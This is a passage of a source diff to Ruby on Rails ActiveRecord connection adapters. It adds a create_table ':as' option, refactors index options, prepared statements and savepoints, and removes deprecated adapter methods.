+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
@@ -15,10 +15,7 @@ module ActiveRecord
# are typically created by methods in TableDefinition, and added to the
# +columns+ attribute of said TableDefinition object, in order to be used
# for generating a number of table creation or table changing SQL statements.
- class ColumnDefinition < Struct.new(:name, :type, :limit, :precision, :scale, :default, :null, :first, :after, :primary_key) #:nodoc:
- def string_to_binary(value)
- value
- end
+ class ColumnDefinition < Struct.new(:name, :type, :limit, :precision, :scale, :default, :null, :first, :after, :primary_key, :sql_type) #:nodoc:
def primary_key?
primary_key || type.to_sym == :primary_key
@@ -52,14 +49,15 @@ module ActiveRecord
# An array of ColumnDefinition objects, representing the column changes
# that have been defined.
attr_accessor :indexes
- attr_reader :name, :temporary, :options
+ attr_reader :name, :temporary, :options, :as
- def initialize(types, name, temporary, options)
+ def initialize(types, name, temporary, options, as = nil)
@columns_hash = {}
@indexes = {}
@native = types
@temporary = temporary
@options = options
+ @as = as
@name = name
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
index 9a1923dec5..ffa6af6d99 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
@@ -40,7 +40,7 @@ module ActiveRecord
# index_exists?(:suppliers, :company_id, unique: true)
#
# # Check an index with a custom name exists
- # index_exists?(:suppliers, :company_id, name: "idx_company_id"
+ # index_exists?(:suppliers, :company_id, name: "idx_company_id")
#
def index_exists?(table_name, column_name, options = {})
column_names = Array(column_name)
@@ -71,7 +71,8 @@ module ActiveRecord
# column_exists?(:suppliers, :tax, :decimal, precision: 8, scale: 2)
#
def column_exists?(table_name, column_name, type = nil, options = {})
- columns(table_name).any?{ |c| c.name == column_name.to_s &&
+ column_name = column_name.to_s
+ columns(table_name).any?{ |c| c.name == column_name &&
(!type || c.type == type) &&
(!options.key?(:limit) || c.limit == options[:limit]) &&
(!options.key?(:precision) || c.precision == options[:precision]) &&
@@ -120,9 +121,9 @@ module ActiveRecord
# The name of the primary key, if one is to be added automatically.
# Defaults to +id+. If <tt>:id</tt> is false this option is ignored.
#
- # Also note that this just sets the primary key in the table. You additionally
- # need to configure the primary key in the model via +self.primary_key=+.
- # Models do NOT auto-detect the primary key from their table definition.
+ # Note that Active Record models will automatically detect their
+ # primary key. This can be avoided by using +self.primary_key=+ on the model
+ # to define the key explicitly.
#
# [<tt>:options</tt>]
# Any extra options you want appended to the table definition.
@@ -131,6 +132,9 @@ module ActiveRecord
# [<tt>:force</tt>]
# Set to true to drop the table before creating it.
# Defaults to false.
+ # [<tt>:as</tt>]
+ # SQL to use to generate the table. When this option is used, the block is
+ # ignored, as are the <tt>:id</tt> and <tt>:primary_key</tt> options.
#
# ====== Add a backend specific option to the generated SQL (MySQL)
#
@@ -169,14 +173,24 @@ module ActiveRecord
# supplier_id int
# )
#
+ # ====== Create a temporary table based on a query
+ #
+ # create_table(:long_query, temporary: true,
+ # as: "SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id")
+ #
+ # generates:
+ #
+ # CREATE TEMPORARY TABLE long_query AS
+ # SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id
+ #
# See also TableDefinition#column for details on how to create columns.
def create_table(table_name, options = {})
- td = create_table_definition table_name, options[:temporary], options[:options]
+ td = create_table_definition table_name, options[:temporary], options[:options], options[:as]
- unless options[:id] == false
- pk = options.fetch(:primary_key) {
+ if options[:id] != false && !options[:as]
+ pk = options.fetch(:primary_key) do
Base.get_primary_key table_name.to_s.singularize
- }
+ end
td.primary_key pk, options.fetch(:id, :primary_key), options
end
@@ -187,8 +201,9 @@ module ActiveRecord
drop_table(table_name, options)
end
- execute schema_creation.accept td
- td.indexes.each_pair { |c,o| add_index table_name, c, o }
+ result = execute schema_creation.accept td
+ td.indexes.each_pair { |c, o| add_index(table_name, c, o) } unless supports_indexes_in_create?
+ result
end
# Creates a new join table with the name created using the lexical order of the first two
@@ -558,8 +573,8 @@ module ActiveRecord
# this is a naive implementation; some DBs may support this more efficiently (Postgres, for instance)
old_index_def = indexes(table_name).detect { |i| i.name == old_name }
return unless old_index_def
- remove_index(table_name, :name => old_name)
- add_index(table_name, old_index_def.columns, :name => new_name, :unique => old_index_def.unique)
+ add_index(table_name, old_index_def.columns, name: new_name, unique: old_index_def.unique)
+ remove_index(table_name, name: old_name)
end
def index_name(table_name, options) #:nodoc:
@@ -690,25 +705,16 @@ module ActiveRecord
column_type_sql
else
- type
+ type.to_s
end
end
- # SELECT DISTINCT clause for a given set of columns and a given ORDER BY clause.
- #
- # distinct("posts.id", ["posts.created_at desc"])
- #
- def distinct(columns, order_by)
- ActiveSupport::Deprecation.warn("#distinct is deprecated and shall be removed from future releases.")
- "DISTINCT #{columns_for_distinct(columns, order_by)}"
- end
-
# Given a set of columns and an ORDER BY clause, returns the columns for a SELECT DISTINCT.
# Both PostgreSQL and Oracle overrides this for custom DISTINCT syntax - they
# require the order columns appear in the SELECT.
#
# columns_for_distinct("posts.id", ["posts.created_at desc"])
- def columns_for_distinct(columns, orders) # :nodoc:
+ def columns_for_distinct(columns, orders) #:nodoc:
columns
end
@@ -730,6 +736,44 @@ module ActiveRecord
remove_column table_name, :created_at
end
+ def update_table_definition(table_name, base) #:nodoc:
+ Table.new(table_name, base)
+ end
+
+ def add_index_options(table_name, column_name, options = {}) #:nodoc:
+ column_names = Array(column_name)
+ index_name = index_name(table_name, column: column_names)
+
+ options.assert_valid_keys(:unique, :order, :name, :where, :length, :internal, :using, :algorithm, :type)
+
+ index_type = options[:unique] ? "UNIQUE" : ""
+ index_type = options[:type].to_s if options.key?(:type)
+ index_name = options[:name].to_s if options.key?(:name)
+ max_index_length = options.fetch(:internal, false) ? index_name_length : allowed_index_name_length
+
+ if options.key?(:algorithm)
+ algorithm = index_algorithms.fetch(options[:algorithm]) {
+ raise ArgumentError.new("Algorithm must be one of the following: #{index_algorithms.keys.map(&:inspect).join(', ')}")
+ }
+ end
+
+ using = "USING #{options[:using]}" if options[:using].present?
+
+ if supports_partial_index?
+ index_options = options[:where] ? " WHERE #{options[:where]}" : ""
+ end
+
+ if index_name.length > max_index_length
+ raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' is too long; the limit is #{max_index_length} characters"
+ end
+ if table_exists?(table_name) && index_name_exists?(table_name, index_name, false)
+ raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' already exists"
+ end
+ index_columns = quoted_columns_for_index(column_names, options).join(", ")
+
+ [index_name, index_type, index_columns, index_options, algorithm, using]
+ end
+
protected
def add_index_sort_order(option_strings, column_names, options = {})
if options.is_a?(Hash) && order = options[:order]
@@ -760,40 +804,6 @@ module ActiveRecord
options.include?(:default) && !(options[:null] == false && options[:default].nil?)
end
- def add_index_options(table_name, column_name, options = {})
- column_names = Array(column_name)
- index_name = index_name(table_name, column: column_names)
-
- options.assert_valid_keys(:unique, :order, :name, :where, :length, :internal, :using, :algorithm, :type)
-
- index_type = options[:unique] ? "UNIQUE" : ""
- index_type = options[:type].to_s if options.key?(:type)
- index_name = options[:name].to_s if options.key?(:name)
- max_index_length = options.fetch(:internal, false) ? index_name_length : allowed_index_name_length
-
- if options.key?(:algorithm)
- algorithm = index_algorithms.fetch(options[:algorithm]) {
- raise ArgumentError.new("Algorithm must be one of the following: #{index_algorithms.keys.map(&:inspect).join(', ')}")
- }
- end
-
- using = "USING #{options[:using]}" if options[:using].present?
-
- if supports_partial_index?
- index_options = options[:where] ? " WHERE #{options[:where]}" : ""
- end
-
- if index_name.length > max_index_length
- raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' is too long; the limit is #{max_index_length} characters"
- end
- if index_name_exists?(table_name, index_name, false)
- raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' already exists"
- end
- index_columns = quoted_columns_for_index(column_names, options).join(", ")
-
- [index_name, index_type, index_columns, index_options, algorithm, using]
- end
-
def index_name_for_remove(table_name, options = {})
index_name = index_name(table_name, options)
@@ -812,12 +822,6 @@ module ActiveRecord
index_name
end
- def columns_for_remove(table_name, *column_names)
- ActiveSupport::Deprecation.warn("columns_for_remove is deprecated and will be removed in the future")
- raise ArgumentError.new("You must specify at least one column name. Example: remove_columns(:people, :first_name)") if column_names.blank?
- column_names.map {|column_name| quote_column_name(column_name) }
- end
-
def rename_table_indexes(table_name, new_name)
indexes(new_name).each do |index|
generated_index_name = index_name(table_name, column: index.columns)
@@ -841,17 +845,13 @@ module ActiveRecord
end
private
- def create_table_definition(name, temporary, options)
- TableDefinition.new native_database_types, name, temporary, options
+ def create_table_definition(name, temporary, options, as = nil)
+ TableDefinition.new native_database_types, name, temporary, options, as
end
def create_alter_table(name)
AlterTable.new create_table_definition(name, false, {})
end
-
- def update_table_definition(table_name, base)
- Table.new(table_name, base)
- end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
index 2b6685499a..bc4884b538 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
@@ -23,6 +23,10 @@ module ActiveRecord
@parent = nil
end
+ def finalized?
+ @state
+ end
+
def committed?
@state == :committed
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
index e232cad982..3b3b03ff6e 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
@@ -4,7 +4,10 @@ require 'bigdecimal/util'
require 'active_support/core_ext/benchmark'
require 'active_record/connection_adapters/schema_cache'
require 'active_record/connection_adapters/abstract/schema_dumper'
+require 'active_record/connection_adapters/abstract/schema_creation'
require 'monitor'
+require 'arel/collectors/bind'
+require 'arel/collectors/sql_string'
module ActiveRecord
module ConnectionAdapters # :nodoc:
@@ -16,6 +19,7 @@ module ActiveRecord
autoload_at 'active_record/connection_adapters/abstract/schema_definitions' do
autoload :IndexDefinition
autoload :ColumnDefinition
+ autoload :ChangeColumnDefinition
autoload :TableDefinition
autoload :Table
autoload :AlterTable
@@ -33,12 +37,14 @@ module ActiveRecord
autoload :Quoting
autoload :ConnectionPool
autoload :QueryCache
+ autoload :Savepoints
end
autoload_at 'active_record/connection_adapters/abstract/transaction' do
autoload :ClosedTransaction
autoload :RealTransaction
autoload :SavepointTransaction
+ autoload :TransactionState
end
# Active Record supports multiple database systems. AbstractAdapter and
@@ -67,8 +73,8 @@ module ActiveRecord
define_callbacks :checkout, :checkin
attr_accessor :visitor, :pool
- attr_reader :schema_cache, :last_use, :in_use, :logger
- alias :in_use? :in_use
+ attr_reader :schema_cache, :owner, :logger
+ alias :in_use? :owner
def self.type_cast_config_to_integer(config)
if config =~ SIMPLE_INT
@@ -86,101 +92,43 @@ module ActiveRecord
end
end
+ attr_reader :prepared_statements
+
def initialize(connection, logger = nil, pool = nil) #:nodoc:
super()
@connection = connection
- @in_use = false
+ @owner = nil
@instrumenter = ActiveSupport::Notifications.instrumenter
- @last_use = false
@logger = logger
@pool = pool
- @query_cache = Hash.new { |h,sql| h[sql] = {} }
- @query_cache_enabled = false
@schema_cache = SchemaCache.new self
@visitor = nil
+ @prepared_statements = false
end
- def valid_type?(type)
- true
- end
-
- class SchemaCreation
- def initialize(conn)
- @conn = conn
- @cache = {}
- end
-
- def accept(o)
- m = @cache[o.class] ||= "visit_#{o.class.name.split('::').last}"
- send m, o
- end
-
- def visit_AddColumn(o)
- sql_type = type_to_sql(o.type.to_sym, o.limit, o.precision, o.scale)
- sql = "ADD #{quote_column_name(o.name)} #{sql_type}"
- add_column_options!(sql, column_options(o))
- end
-
- private
-
- def visit_AlterTable(o)
- sql = "ALTER TABLE #{quote_table_name(o.name)} "
- sql << o.adds.map { |col| visit_AddColumn col }.join(' ')
- end
-
- def visit_ColumnDefinition(o)
- sql_type = type_to_sql(o.type.to_sym, o.limit, o.precision, o.scale)
- column_sql = "#{quote_column_name(o.name)} #{sql_type}"
- add_column_options!(column_sql, column_options(o)) unless o.primary_key?
- column_sql
- end
-
- def visit_TableDefinition(o)
- create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE "
- create_sql << "#{quote_table_name(o.name)} ("
- create_sql << o.columns.map { |c| accept c }.join(', ')
- create_sql << ") #{o.options}"
- create_sql
- end
-
- def column_options(o)
- column_options = {}
- column_options[:null] = o.null unless o.null.nil?
- column_options[:default] = o.default unless o.default.nil?
- column_options[:column] = o
- column_options[:first] = o.first
- column_options[:after] = o.after
- column_options
- end
-
- def quote_column_name(name)
- @conn.quote_column_name name
- end
-
- def quote_table_name(name)
- @conn.quote_table_name name
+ class BindCollector < Arel::Collectors::Bind
+ def compile(bvs, conn)
+ super(bvs.map { |bv| conn.quote(*bv.reverse) })
end
+ end
- def type_to_sql(type, limit, precision, scale)
- @conn.type_to_sql type.to_sym, limit, precision, scale
+ class SQLString < Arel::Collectors::SQLString
+ def compile(bvs, conn)
+ super(bvs)
end
+ end
- def add_column_options!(sql, options)
- sql << " DEFAULT #{@conn.quote(options[:default], options[:column])}" if options_include_default?(options)
- # must explicitly check for :null to allow change_column to work on migrations
- if options[:null] == false
- sql << " NOT NULL"
- end
- if options[:auto_increment] == true
- sql << " AUTO_INCREMENT"
- end
- sql
+ def collector
+ if prepared_statements
+ SQLString.new
+ else
+ BindCollector.new
end
+ end
- def options_include_default?(options)
- options.include?(:default) && !(options[:null] == false && options[:default].nil?)
- end
+ def valid_type?(type)
+ true
end
def schema_creation
@@ -189,9 +137,8 @@ module ActiveRecord
def lease
synchronize do
- unless in_use
- @in_use = true
- @last_use = Time.now
+ unless in_use?
+ @owner = Thread.current
end
end
end
@@ -202,18 +149,14 @@ module ActiveRecord
end
def expire
- @in_use = false
- end
-
- def unprepared_visitor
- self.class::BindSubstitution.new self
+ @owner = nil
end
def unprepared_statement
- old, @visitor = @visitor, unprepared_visitor
+ old_prepared_statements, @prepared_statements = @prepared_statements, false
yield
ensure
- @visitor = old
+ @prepared_statements = old_prepared_statements
end
# Returns the human-readable name of the adapter. Use mixed case - one
@@ -222,28 +165,19 @@ module ActiveRecord
'Abstract'
end
- # Does this adapter support migrations? Backend specific, as the
- # abstract adapter always returns +false+.
+ # Does this adapter support migrations?
def supports_migrations?
false
end
# Can this adapter determine the primary key for tables not attached
- # to an Active Record class, such as join tables? Backend specific, as
- # the abstract adapter always returns +false+.
+ # to an Active Record class, such as join tables?
def supports_primary_key?
false
end
- # Does this adapter support using DISTINCT within COUNT? This is +true+
- # for all adapters except sqlite.
- def supports_count_distinct?
- true
- end
-
# Does this adapter support DDL rollbacks in transactions? That is, would
- # CREATE TABLE or ALTER TABLE get rolled back by a transaction? PostgreSQL,
- # SQL Server, and others support this. MySQL and others do not.
+ # CREATE TABLE or ALTER TABLE get rolled back by a transaction?
def supports_ddl_transactions?
false
end
@@ -252,8 +186,7 @@ module ActiveRecord
false
end
- # Does this adapter support savepoints? PostgreSQL and MySQL do,
- # SQLite < 3.6.8 does not.
+ # Does this adapter support savepoints?
def supports_savepoints?
false
end
@@ -261,7 +194,6 @@ module ActiveRecord
# Should primary key values be selected from their corresponding
# sequence before the insert statement? If true, next_sequence_value
# is called before each insert to set the record's primary key.
- # This is false for all adapters but Firebird.
def prefetch_primary_key?(table_name = nil)
false
end
@@ -276,8 +208,7 @@ module ActiveRecord
false
end
- # Does this adapter support explain? As of this writing sqlite3,
- # mysql2, and postgresql are the only ones that do.
+ # Does this adapter support explain?
def supports_explain?
false
end
@@ -287,28 +218,39 @@ module ActiveRecord
false
end
- # Does this adapter support database extensions? As of this writing only
- # postgresql does.
+ # Does this adapter support database extensions?
def supports_extensions?
false
end
- # A list of extensions, to be filled in by adapters that support them. At
- # the moment only postgresql does.
+ # Does this adapter support creating indexes in the same statement as
+ # creating the table?
+ def supports_indexes_in_create?
+ false
+ end
+
+ # This is meant to be implemented by the adapters that support extensions
+ def disable_extension(name)
+ end
+
+ # This is meant to be implemented by the adapters that support extensions
+ def enable_extension(name)
+ end
+
+ # A list of extensions, to be filled in by adapters that support them.
def extensions
[]
end
# A list of index algorithms, to be filled by adapters that support them.
- # MySQL and PostgreSQL have support for them right now.
def index_algorithms
{}
end
# QUOTING ==================================================
- # Returns a bind substitution value given a +column+ and list of current
- # +binds+.
+ # Returns a bind substitution value given a bind +index+ and +column+
+ # NOTE: The column param is currently being used by the sqlserver-adapter
def substitute_at(column, index)
Arel::Nodes::BindParam.new '?'
end
@@ -361,7 +303,6 @@ module ActiveRecord
end
# Returns true if its required to reload the connection between requests for development mode.
- # This is not the case for Ruby/MySQL and it's not necessary for any adapters except SQLite.
def requires_reloading?
false
end
@@ -387,31 +328,23 @@ module ActiveRecord
@transaction.number
end
- def increment_open_transactions
- ActiveSupport::Deprecation.warn "#increment_open_transactions is deprecated and has no effect"
- end
-
- def decrement_open_transactions
- ActiveSupport::Deprecation.warn "#decrement_open_transactions is deprecated and has no effect"
- end
-
- def transaction_joinable=(joinable)
- message = "#transaction_joinable= is deprecated. Please pass the :joinable option to #begin_transaction instead."
- ActiveSupport::Deprecation.warn message
- @transaction.joinable = joinable
+ def create_savepoint(name = nil)
end
- def create_savepoint
+ def rollback_to_savepoint(name = nil)
end
- def rollback_to_savepoint
+ def release_savepoint(name = nil)
end
- def release_savepoint
+ def case_sensitive_modifier(node, table_attribute)
+ node
end
- def case_sensitive_modifier(node)
- node
+ def case_sensitive_comparison(table, attribute, column, value)
+ table_attr = table[attribute]
+ value = case_sensitive_modifier(value, table_attr) unless value.nil?
+ table_attr.eq(value)
end
def case_insensitive_comparison(table, attribute, column, value)
@@ -429,25 +362,40 @@ module ActiveRecord
protected
- def log(sql, name = "SQL", binds = [])
- @instrumenter.instrument(
- "sql.active_record",
- :sql => sql,
- :name => name,
- :connection_id => object_id,
- :binds => binds) { yield }
- rescue => e
+ def translate_exception_class(e, sql)
message = "#{e.class.name}: #{e.message}: #{sql}"
@logger.error message if @logger
exception = translate_exception(e, message)
exception.set_backtrace e.backtrace
- raise exception
+ exception
+ end
+
+ def log(sql, name = "SQL", binds = [], statement_name = nil)
+ @instrumenter.instrument(
+ "sql.active_record",
+ :sql => sql,
+ :name => name,
+ :connection_id => object_id,
+ :statement_name => statement_name,
+ :binds => binds) { yield }
+ rescue => e
+ raise translate_exception_class(e, sql)
end
def translate_exception(exception, message)
# override in derived class
ActiveRecord::StatementInvalid.new(message, exception)
end
+
+ def without_prepared_statement?(binds)
+ !prepared_statements || binds.empty?
+ end
+
+ def column_for(table_name, column_name) # :nodoc:
+ column_name = column_name.to_s
+ columns(table_name).detect { |c| c.name == column_name } ||
+ raise(ActiveRecordError, "No such column: #{table_name}.#{column_name}")
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
index 5b25b26164..4184fad81c 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
@@ -3,19 +3,34 @@ require 'arel/visitors/bind_visitor'
module ActiveRecord
module ConnectionAdapters
class AbstractMysqlAdapter < AbstractAdapter
- class SchemaCreation < AbstractAdapter::SchemaCreation
+ include Savepoints
+ class SchemaCreation < AbstractAdapter::SchemaCreation
def visit_AddColumn(o)
add_column_position!(super, column_options(o))
end
private
+
+ def visit_TableDefinition(o)
+ name = o.name
+ create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE #{quote_table_name(name)} "
+
+ statements = o.columns.map { |c| accept c }
+ statements.concat(o.indexes.map { |column_name, options| index_in_create(name, column_name, options) })
+
+ create_sql << "(#{statements.join(', ')}) " if statements.present?
+ create_sql << "#{o.options}"
+ create_sql << " AS #{@conn.to_sql(o.as)}" if o.as
+ create_sql
+ end
+
def visit_ChangeColumnDefinition(o)
column = o.column
options = o.options
sql_type = type_to_sql(o.type, options[:limit], options[:precision], options[:scale])
change_column_sql = "CHANGE #{quote_column_name(column.name)} #{quote_column_name(options[:name])} #{sql_type}"
- add_column_options!(change_column_sql, options)
+ add_column_options!(change_column_sql, options.merge(column: column))
add_column_position!(change_column_sql, options)
end
@@ -27,6 +42,11 @@ module ActiveRecord
end
sql
end
+
+ def index_in_create(table_name, column_name, options)
+ index_name, index_type, index_columns, index_options, index_algorithm, index_using = @conn.add_index_options(table_name, column_name, options)
+ "#{index_type} INDEX #{quote_column_name(index_name)} #{index_using} (#{index_columns})#{index_options} #{index_algorithm}"
+ end
end
def schema_creation
@@ -146,7 +166,7 @@ module ActiveRecord
QUOTED_TRUE, QUOTED_FALSE = '1', '0'
NATIVE_DATABASE_TYPES = {
- :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY",
+ :primary_key => "int(11) auto_increment PRIMARY KEY",
:string => { :name => "varchar", :limit => 255 },
:text => { :name => "text" },
:integer => { :name => "int", :limit => 4 },
@@ -163,20 +183,18 @@ module ActiveRecord
INDEX_TYPES = [:fulltext, :spatial]
INDEX_USINGS = [:btree, :hash]
- class BindSubstitution < Arel::Visitors::MySQL # :nodoc:
- include Arel::Visitors::BindVisitor
- end
-
# FIXME: Make the first parameter more similar for the two adapters
def initialize(connection, logger, connection_options, config)
super(connection, logger)
@connection_options, @config = connection_options, config
@quoted_column_names, @quoted_table_names = {}, {}
+ @visitor = Arel::Visitors::MySQL.new self
+
if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true })
- @visitor = Arel::Visitors::MySQL.new self
+ @prepared_statements = true
else
- @visitor = unprepared_visitor
+ @prepared_statements = false
end
end
@@ -193,11 +211,6 @@ module ActiveRecord
true
end
- # Returns true, since this connection adapter supports savepoints.
- def supports_savepoints?
- true
- end
-
def supports_bulk_alter? #:nodoc:
true
end
@@ -208,6 +221,17 @@ module ActiveRecord
true
end
+ def type_cast(value, column)
+ case value
+ when TrueClass
+ 1
+ when FalseClass
+ 0
+ else
+ super
+ end
+ end
+
# MySQL 4 technically support transaction isolation, but it is affected by a bug
# where the transaction level gets persisted for the whole session:
#
@@ -216,6 +240,10 @@ module ActiveRecord
version[0] >= 5
end
+ def supports_indexes_in_create?
+ true
+ end
+
def native_database_types
NATIVE_DATABASE_TYPES
end
@@ -246,8 +274,8 @@ module ActiveRecord
# QUOTING ==================================================
def quote(value, column = nil)
- if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary)
- s = column.class.string_to_binary(value).unpack("H*")[0]
+ if value.kind_of?(String) && column && column.type == :binary
+ s = value.unpack("H*")[0]
"x'#{s}'"
elsif value.kind_of?(BigDecimal)
value.to_s("F")
@@ -274,7 +302,7 @@ module ActiveRecord
# REFERENTIAL INTEGRITY ====================================
- def disable_referential_integrity(&block) #:nodoc:
+ def disable_referential_integrity #:nodoc:
old = select_value("SELECT @@FOREIGN_KEY_CHECKS")
begin
@@ -289,17 +317,7 @@ module ActiveRecord
# Executes the SQL statement in the context of this connection.
def execute(sql, name = nil)
- if name == :skip_logging
- @connection.query(sql)
- else
- log(sql, name) { @connection.query(sql) }
- end
- rescue ActiveRecord::StatementInvalid => exception
- if exception.message.split(":").first =~ /Packets out of order/
- raise ActiveRecord::StatementInvalid.new("'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings.", exception.original_exception)
- else
- raise
- end
+ log(sql, name) { @connection.query(sql) }
end
# MysqlAdapter has to free a result after using it, so we use this method to write
@@ -316,39 +334,19 @@ module ActiveRecord
def begin_db_transaction
execute "BEGIN"
- rescue
- # Transactions aren't supported
end
def begin_isolated_db_transaction(isolation)
execute "SET TRANSACTION ISOLATION LEVEL #{transaction_isolation_levels.fetch(isolation)}"
begin_db_transaction
- rescue
- # Transactions aren't supported
end
def commit_db_transaction #:nodoc:
execute "COMMIT"
- rescue
- # Transactions aren't supported
end
def rollback_db_transaction #:nodoc:
execute "ROLLBACK"
- rescue
- # Transactions aren't supported
- end
-
- def create_savepoint
- execute("SAVEPOINT #{current_savepoint_name}")
- end
-
- def rollback_to_savepoint
- execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
- end
-
- def release_savepoint
- execute("RELEASE SAVEPOINT #{current_savepoint_name}")
end
# In the simple case, MySQL allows us to place JOINs directly into the UPDATE
@@ -469,7 +467,8 @@ module ActiveRecord
sql = "SHOW FULL FIELDS FROM #{quote_table_name(table_name)}"
execute_and_free(sql, 'SCHEMA') do |result|
each_hash(result).map do |field|
- new_column(field[:Field], field[:Default], field[:Type], field[:Null] == "YES", field[:Collation], field[:Extra])
+ field_name = set_field_encoding(field[:Field])
+ new_column(field_name, field[:Default], field[:Type], field[:Null] == "YES", field[:Collation], field[:Extra])
end
end
end
@@ -479,7 +478,7 @@ module ActiveRecord
end
def bulk_change_table(table_name, operations) #:nodoc:
- sqls = operations.map do |command, args|
+ sqls = operations.flat_map do |command, args|
table, arguments = args.shift, args
method = :"#{command}_sql"
@@ -488,7 +487,7 @@ module ActiveRecord
else
raise "Unknown method called : #{method}(#{arguments.inspect})"
end
- end.flatten.join(", ")
+ end.join(", ")
execute("ALTER TABLE #{quote_table_name(table_name)} #{sqls}")
end
@@ -502,6 +501,18 @@ module ActiveRecord
rename_table_indexes(table_name, new_name)
end
+ def drop_table(table_name, options = {})
+ execute "DROP#{' TEMPORARY' if options[:temporary]} TABLE #{quote_table_name(table_name)}"
+ end
+
+ def rename_index(table_name, old_name, new_name)
+ if (version[0] == 5 && version[1] >= 7) || version[0] >= 6
+ execute "ALTER TABLE #{quote_table_name(table_name)} RENAME INDEX #{quote_table_name(old_name)} TO #{quote_table_name(new_name)}"
+ else
+ super
+ end
+ end
+
def change_column_default(table_name, column_name, default)
column = column_for(table_name, column_name)
change_column table_name, column_name, column.sql_type, :default => default
@@ -596,10 +607,19 @@ module ActiveRecord
pk_and_sequence && pk_and_sequence.first
end
- def case_sensitive_modifier(node)
+ def case_sensitive_modifier(node, table_attribute)
+ node = Arel::Nodes.build_quoted node, table_attribute
Arel::Nodes::Bin.new(node)
end
+ def case_sensitive_comparison(table, attribute, column, value)
+ if column.case_sensitive?
+ table[attribute].eq(value)
+ else
+ super
+ end
+ end
+
def case_insensitive_comparison(table, attribute, column, value)
if column.case_sensitive?
super
@@ -691,15 +711,13 @@ module ActiveRecord
end
def rename_column_sql(table_name, column_name, new_column_name)
- options = { name: new_column_name }
-
- if column = columns(table_name).find { |c| c.name == column_name.to_s }
- options[:default] = column.default
- options[:null] = column.null
- options[:auto_increment] = (column.extra == "auto_increment")
- else
- raise ActiveRecordError, "No such column: #{table_name}.#{column_name}"
- end
+ column = column_for(table_name, column_name)
+ options = {
+ name: new_column_name,
+ default: column.default,
+ null: column.null,
+ auto_increment: column.extra == "auto_increment"
+ }
current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'", 'SCHEMA')["Type"]
schema_creation.accept ChangeColumnDefinition.new column, current_type, options
@@ -737,30 +755,23 @@ module ActiveRecord
version[0] >= 5
end
- def column_for(table_name, column_name)
- unless column = columns(table_name).find { |c| c.name == column_name.to_s }
- raise "No such column: #{table_name}.#{column_name}"
- end
- column
- end
-
def configure_connection
- variables = @config[:variables] || {}
+ variables = @config.fetch(:variables, {}).stringify_keys
# By default, MySQL 'where id is null' selects the last inserted id.
# Turn this off. http://dev.rubyonrails.org/ticket/6778
- variables[:sql_auto_is_null] = 0
+ variables['sql_auto_is_null'] = 0
# Increase timeout so the server doesn't disconnect us.
wait_timeout = @config[:wait_timeout]
wait_timeout = 2147483 unless wait_timeout.is_a?(Fixnum)
- variables[:wait_timeout] = self.class.type_cast_config_to_integer(wait_timeout)
+ variables['wait_timeout'] = self.class.type_cast_config_to_integer(wait_timeout)
# Make MySQL reject illegal values rather than truncating or blanking them, see
# http://dev.mysql.com/doc/refman/5.0/en/server-sql-mode.html#sqlmode_strict_all_tables
# If the user has provided another value for sql_mode, don't replace it.
- if strict_mode? && !variables.has_key?(:sql_mode)
- variables[:sql_mode] = 'STRICT_ALL_TABLES'
+ if strict_mode? && !variables.has_key?('sql_mode')
+ variables['sql_mode'] = 'STRICT_ALL_TABLES'
end
# NAMES does not have an equals sign, see
@@ -779,7 +790,7 @@ module ActiveRecord
end.compact.join(', ')
# ...and send them all in one query
- execute("SET #{encoding} #{variable_assignments}", :skip_logging)
+ @connection.query "SET #{encoding} #{variable_assignments}"
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/column.rb b/activerecord/lib/active_record/connection_adapters/column.rb
index 609ccc2ed2..187eefb9e4 100644
--- a/activerecord/lib/active_record/connection_adapters/column.rb
+++ b/activerecord/lib/active_record/connection_adapters/column.rb
@@ -13,7 +13,7 @@ module ActiveRecord
ISO_DATETIME = /\A(\d{4})-(\d\d)-(\d\d) (\d\d):(\d\d):(\d\d)(\.\d+)?\z/
end
- attr_reader :name, :default, :type, :limit, :null, :sql_type, :precision, :scale
+ attr_reader :name, :default, :type, :limit, :null, :sql_type, :precision, :scale, :default_function
attr_accessor :primary, :coder
alias :encoded? :coder
@@ -27,16 +27,17 @@ module ActiveRecord
# It will be mapped to one of the standard Rails SQL types in the <tt>type</tt> attribute.
# +null+ determines if this column allows +NULL+ values.
def initialize(name, default, sql_type = nil, null = true)
- @name = name
- @sql_type = sql_type
- @null = null
- @limit = extract_limit(sql_type)
- @precision = extract_precision(sql_type)
- @scale = extract_scale(sql_type)
